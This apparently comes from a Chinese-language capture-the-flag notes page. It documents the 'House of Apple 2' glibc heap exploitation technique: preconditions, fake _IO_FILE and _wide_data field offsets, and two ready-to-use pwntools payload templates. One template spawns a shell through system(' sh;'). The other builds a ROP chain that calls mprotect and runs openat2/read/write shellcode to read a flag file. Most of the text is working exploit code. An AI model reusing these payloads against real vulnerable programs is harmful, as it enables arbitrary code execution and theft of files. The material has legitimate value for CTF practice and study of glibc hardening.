利用条件

  • 泄露libc和heap地址
  • 使用largebin attack控制_IO_list_all
    1. 能控制程序执行IO操作,包括但不限于:从main函数返回、调用exit函数
  • 控制fakeio_filevtable_wide_date

使用

  • _flags设置为~(2 | 0x8 | 0x800),如果不需要控制rdi,设置为0即可;如果需要获得shell,可设置为 sh;,注意前面有两个空格
  • vtable设置为_IO_wfile_jumps/_IO_wfile_jumps_mmap/_IO_wfile_jumps_maybe_mmap地址(加减偏移),使其能成功调用_IO_wfile_overflow即可
  • _wide_data设置为可控堆地址A,即满足*(fp + 0xa0) = A
  • _wide_data->_IO_write_base设置为0,即满足*(A + 0x18) = 0
  • _wide_data->_IO_buf_base设置为0,即满足*(A + 0x30) = 0
  • _wide_data->_wide_vtable设置为可控堆地址B,即满足*(A + 0xe0) = B
  • _wide_data->_wide_vtable->doallocate设置为地址C用于劫持RIP,即满足*(B + 0x68) = C

需要提前获取的参数

io_list_all = libc_base + libc.sym["_IO_list_all"]
prdi = libc_base + 0x000000000002a3e5
prsi = libc_base + 0x000000000002be51
prdx_r12 = libc_base + 0x000000000011f497
magic = 0x000000000016a20d + libc_base - 19
"""
<svcudp_reply+26>: mov rbp,QWORD PTR [rdi+0x48]
<svcudp_reply+30>: mov rax,QWORD PTR [rbp+0x18]
<svcudp_reply+34>: lea r13,[rbp+0x10]
<svcudp_reply+38>: mov DWORD PTR [rbp+0x10],0x0
<svcudp_reply+45>: mov rdi,r13
<svcudp_reply+48>: call QWORD PTR [rax+0x28] //magic_gadget
"""
leave = 0x00000000000562ec + libc_base
io_wfile_jumps = libc_base + libc.sym["_IO_wfile_jumps"]

模板一shell

执行system("sh");
这样伪造比较简单。

fake_file = flat({
0x0: b" sh;",
0x28: libc_base + libc.symbols['system'],
0x88: libc_base + libc.symbols['_environ']-0x10,
0xa0: libc_base+libc.symbols['_IO_2_1_stderr_']-0x40, # _wide_data
0xD8: libc_base + libc.symbols['_IO_wfile_jumps'], # jumptable
}, filler=b"\x00")

模版二orw(mprotect)

orw = p64(0) + p64(prdx_r12) + p64(0) + p64(fake_io_addr - 0x10)
orw += p64(prdi) + p64(heap_base) + p64(prsi) + p64(0x3000) + p64(prdx_r12) + p64(7)*2
orw += p64(libc_base + libc.sym["mprotect"]) + p64(orw_addr + 0x68)
orw += asm(shellcraft.openat2(-100, flag_path_addr, flag_path_addr + 0x50, 0x18))
orw += asm(shellcraft.read(3, flag_path_addr + 0x100, 0x20))
orw += asm(shellcraft.write(1, flag_path_addr + 0x100, 0x20))

payload = p64(0) + p64(leave) + p64(0) + p64(libc_base + libc.sym['_IO_list_all'] - 0x20)
payload = payload.ljust(0x38, b"\x00") + p64(orw_addr)
payload = payload.ljust(0x90, b"\x00") + p64(fake_io_addr + 0x10 + 0xd0)
payload = payload.ljust(0xc8, b"\x00") + p64(io_wfile_jumps)
payload = payload.ljust(0xd0 + 0xe0, b'\x00') + p64(fake_io_addr + 0xe0 + 0xe8)
payload = payload.ljust(0xd0 + 0xe8 + 0x68, b'\x00') + p64(magic)
payload += (orw)